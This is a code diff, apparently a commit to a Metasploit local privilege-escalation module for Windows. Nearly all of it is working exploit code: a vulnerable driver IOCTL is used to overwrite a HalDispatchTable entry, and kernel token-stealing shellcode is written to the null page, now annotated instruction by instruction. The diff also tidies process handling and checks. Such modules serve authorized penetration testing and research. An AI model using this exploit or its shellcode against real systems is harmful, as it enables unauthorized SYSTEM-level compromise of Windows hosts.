@@ -83,12 +83,13 @@ def get_system_proc
83
83
local_sys = resolve_sid ( "S-1-5-18" )
84
84
system_account_name = "#{ local_sys [ :domain ] } \\ #{ local_sys [ :name ] } "
85
85
86
+ this_pid = session . sys . process . getpid
86
87
# Processes that can Blue Screen a host if migrated in to
87
88
dangerous_processes = [ "lsass.exe" , "csrss.exe" , "smss.exe" ]
88
89
session . sys . process . processes . each do |p |
89
90
# Check we are not migrating to a process that can BSOD the host
90
91
next if dangerous_processes . include? ( p [ "name" ] )
91
- next if p [ "pid" ] == session . sys . process . getpid
92
+ next if p [ "pid" ] == this_pid
92
93
next if p [ "pid" ] == 4
93
94
next if p [ "user" ] != system_account_name
94
95
return p
@@ -136,19 +137,20 @@ def exploit
136
137
return
137
138
end
138
139
139
- this_proc = session . sys . process . open
140
140
kernel_info = find_sys_base ( nil )
141
141
base_addr = 0xffff
142
142
print_status ( "Kernel Base Address: 0x#{ kernel_info [ 0 ] . to_s ( 16 ) } " )
143
143
144
144
handle = open_device
145
145
return if handle . nil?
146
146
147
- if not this_proc . memory . writable? ( base_addr )
148
- result = session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ 1 ] . pack ( "L" ) , nil , [ 0xffff ] . pack ( "L" ) , "MEM_COMMIT|MEM_RESERVE" , "PAGE_EXECUTE_READWRITE" )
147
+ this_proc = session . sys . process . open
148
+ unless this_proc . memory . writable? ( base_addr )
149
+ session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ 1 ] . pack ( "L" ) , nil , [ 0xffff ] . pack ( "L" ) , "MEM_COMMIT|MEM_RESERVE" , "PAGE_EXECUTE_READWRITE" )
149
150
end
150
- if not this_proc . memory . writable? ( base_addr )
151
+ unless this_proc . memory . writable? ( base_addr )
151
152
print_error ( 'Failed to properly allocate memory' )
153
+ this_proc . close
152
154
return
153
155
end
154
156
@@ -160,34 +162,33 @@ def exploit
160
162
halDispatchTable += kernel_info [ 0 ]
161
163
print_status ( "HalDisPatchTable Address: 0x#{ halDispatchTable . to_s ( 16 ) } " )
162
164
163
- tokenstealing = "\x31 \xc0 "
164
- tokenstealing << "\x52 "
165
- tokenstealing << "\x53 "
166
- tokenstealing << "\x33 \xc0 "
167
- tokenstealing << "\x64 \x8b \x80 \x24 \x01 \x00 \x00 "
168
- tokenstealing << "\x8b \x40 " + target [ '_KPROCESS' ]
169
- tokenstealing << "\x8b \xc8 "
170
- tokenstealing << "\x8b \x98 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 "
171
- tokenstealing << "\x89 \x1d \x00 \x09 \x02 \x00 "
172
- tokenstealing << "\x8b \x80 " + target [ '_APLINKS' ] + "\x00 \x00 \x00 "
173
- tokenstealing << "\x81 \xe8 " + target [ '_APLINKS' ] + "\x00 \x00 \x00 "
174
- tokenstealing << "\x81 \xb8 " + target [ '_UPID' ] + "\x00 \x00 \x00 \x04 \x00 \x00 \x00 "
175
- tokenstealing << "\x75 \xe8 "
176
- tokenstealing << "\x8b \x90 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 "
177
- tokenstealing << "\x8b \xc1 "
178
- tokenstealing << "\x89 \x90 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 "
179
- tokenstealing << "\x5b "
180
- tokenstealing << "\x5a "
181
- tokenstealing << "\xc2 \x10 "
165
+ tokenstealing = "\x52 " # push edx # Save edx on the stack
166
+ tokenstealing << "\x53 " # push ebx # Save ebx on the stack
167
+ tokenstealing << "\x33 \xc0 " # xor eax, eax # eax = 0
168
+ tokenstealing << "\x64 \x8b \x80 \x24 \x01 \x00 \x00 " # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
169
+ tokenstealing << "\x8b \x40 " + target [ '_KPROCESS' ] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
170
+ tokenstealing << "\x8b \xc8 " # mov ecx, eax
171
+ tokenstealing << "\x8b \x98 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
172
+ tokenstealing << "\x8b \x80 " + target [ '_APLINKS' ] + "\x00 \x00 \x00 " # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
173
+ tokenstealing << "\x81 \xe8 " + target [ '_APLINKS' ] + "\x00 \x00 \x00 " # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
174
+ tokenstealing << "\x81 \xb8 " + target [ '_UPID' ] + "\x00 \x00 \x00 \x04 \x00 \x00 \x00 " # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
175
+ tokenstealing << "\x75 \xe8 " # jne 0000101e ======================
176
+ tokenstealing << "\x8b \x90 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
177
+ tokenstealing << "\x8b \xc1 " # mov eax, ecx # Retrieves KPROCESS stored on ECX
178
+ tokenstealing << "\x89 \x90 " + target [ '_TOKEN' ] + "\x00 \x00 \x00 " # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
179
+ tokenstealing << "\x5b " # pop ebx # Restores ebx
180
+ tokenstealing << "\x5a " # pop edx # Restores edx
181
+ tokenstealing << "\xc2 \x10 " # ret 10h # Away from the kernel!
182
182
183
183
shellcode = make_nops ( 0x200 ) + tokenstealing
184
184
this_proc . memory . write ( 0x1 , shellcode )
185
+ this_proc . close
185
186
186
187
print_status ( "Triggering vulnerable IOCTL" )
187
188
session . railgun . ntdll . NtDeviceIoControlFile ( handle , 0 , 0 , 0 , 4 , 0x1965020f , 1 , 0x258 , halDispatchTable + 0x4 , 0 )
188
189
result = session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
189
190
190
- if not is_system?
191
+ unless is_system?
191
192
print_error ( "Exploit failed" )
192
193
return
193
194
end
0 commit comments